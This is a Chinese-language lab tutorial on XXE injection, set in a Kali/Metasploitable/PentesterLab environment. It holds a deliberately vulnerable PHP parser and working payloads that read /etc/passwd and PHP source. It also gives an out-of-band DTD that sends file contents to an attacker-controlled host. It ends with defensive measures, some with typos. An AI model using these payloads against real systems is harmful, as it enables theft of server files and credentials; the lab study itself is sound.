1.1 XXE漏洞介绍
XXE(XML External Entity Injection)XML外部实体注入。
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞。
1.2 XXE漏洞利用
1.2.1 实验环境
序号 | 主机IP | 主机系统 | 主机角色 |
1 | 192.168.10.180 | Kali | 攻击机 |
2 | 192.168.1.109 | Metasploitable-Linux | Metasploitable |
3 | 192.168.1.110 | Debain 6 | PentesterLab |
1.2.2 搭建测试环境
PS.可以在metasploitable中进行试验,不可以在centos中试验,因为默认情况下centos中已经修复相关漏洞。
root@metasploitable:~# cd /var/www/ root@metasploitable:/var/www# vim xxe.php <?php $xml=file_get_contents("php://input"); $data=simplexml_load_string($xml); echo "<pre>"; print_r($data); echo "</pre>"; ?>
【代码解释】:
- file_ get_contents():函数把整个文件读入一个字符串中;
- php://input:是个可以访问请求的原始数据的只读流;
- file_get_contents("php://input"):结合file_ get contents( "php://input" )可以读取POST提交的数据存入$xml;
- simplexml_load_string:函数将xml格式字符串转换为对应的SimpleXMLElementObject;
1.2.3 XXE注入思路
- file_ get contents(“php://input" )可以读取POST提交的数据;
- 我们通过POST提交XML代码;
- XML代码中引用外部DTD,读取黑客想要的系统文件;
- 通过simplexml_load_string()函数显示数据。即通过simplexml_load_string()函数将XML代码和引用的系统文件转换成SimpleXMLElementObject格式打印出来,此时加载的系统文件也会被打印出来。
1.3 实例:XXE漏洞获取服务器用户
1.3.1 编写payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:////etc/passwd">]> <root> <name> &xxe;</name> </root>
【payload解析】:
在上面的代码中,XML外部实体(外部实体在XML中被引用)xxe被赋予的值为:file:///etc/passwd,在解析XML文档的过程中实体“xxe”的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字“SYSTEM”会告诉XML解析器“xxe”实体的值将从其后的URI中读取,并把读取的内容替换xxe出现的地方。
假如SYSTEM后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
1.3.2 执行注入
1.4 实例:XXE漏洞读取PHP文件
1.4.1 编写payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">]> <root> <name> &xxe;</name> </root>
注意: php文件需要进行加密才能够被读取。
1.4.2 执行注入
1.4.3 使用base64解码
# echo "PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGE9c2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOwplY2hvICI8cHJlPiI7CnByaW50X3IoJGRhdGEpOwplY2hvICI8L3ByZT4iOwo/Pgo=" | base64 -d <?php $xml=file_get_contents("php://input"); $data=simplexml_load_string($xml); echo "<pre>"; print_r($data); echo "</pre>"; ?>
1.5 实例:无回显文件读取
1.5.1 网络拓扑图
- Kali 作为黑客并建立黑客接收和提交数据的Web站点;
- PentesterLab 作为server被攻击端;
1.5.2 Kali准备工作
Kali需要建立一个外部的dtd文件,一个用于接收数据的php文件,以及存储数据的数据文件。
1.5.2.1 建立外部dtd文件
# cd /var/www/html # vim test.dtd <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.10.180/xxe.php?pass=%p1;'>"> %p2;
【文件解析】:
% p1定义一个参数实体,%和p1之间有一个空格,用于接收file:///etc/passwd 的内容, %p1引用参数实体,参数实体只能在dtd文件中被引用。
1.5.2.2 建立php文件
# vim xxe.php <?php $pass=$_GET['pass']; file_put_contents('pass.txt',$pass); ?>
1.5.2.3 创建存储文件
# touch pass.txt
1.5.2.4 修改权限并启动服务
# chown -R www-data.www-data /var/www/html/* # systemctl start apache2.service
1.5.2.5 测试数据是否正常写入
# curl http://192.168.10.180/xxe.php?pass=1 # cat pass.txt 1
1.5.3 进行XXE攻击
1.5.3.1 编写payload
<?xml version="1.0"?> <!DOCTYPE e1 SYSTEM "http://192.168.10.180/test.dtd"> <foo> &e1;</foo>
1.5.3.2 注入过程
- 关闭Burpsuite拦截,点击左上角Login
- 开启Burpsuite拦截,不需要输入用户名密码,直接点击Log in登录
- 将登录post请求发送到repeater
- 修改请求中的Content-Type并插入payload
- 点击send发送请求
1.5.3.3 查看passwd文件内容
# cat /var/www/html/pass.txt root:x:0:0:root:/root:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/false tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
1.6 XXE漏洞防范
1.6.1 升级libxml版本
libxml2.9.0以后,默认不解析外部实体:
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html
1.6.2 代码层防御
使用开发语言提供的禁用外部实体的方法。
1.6.2.1 PHP
libxml_ disable entity_ loader(true);
1.6.2.2 JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance();
dbf.setExpandEntityReferences(false); .
1.6.2.3 Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve entities= False))
1.6.2.4 过滤关键字
过滤用户提交的XML数据,关键字包括:<!DOCTYPE 和<!ENTITY,或者SYSTEM和PUBLIC。
PS.Centos已经修复该漏洞。
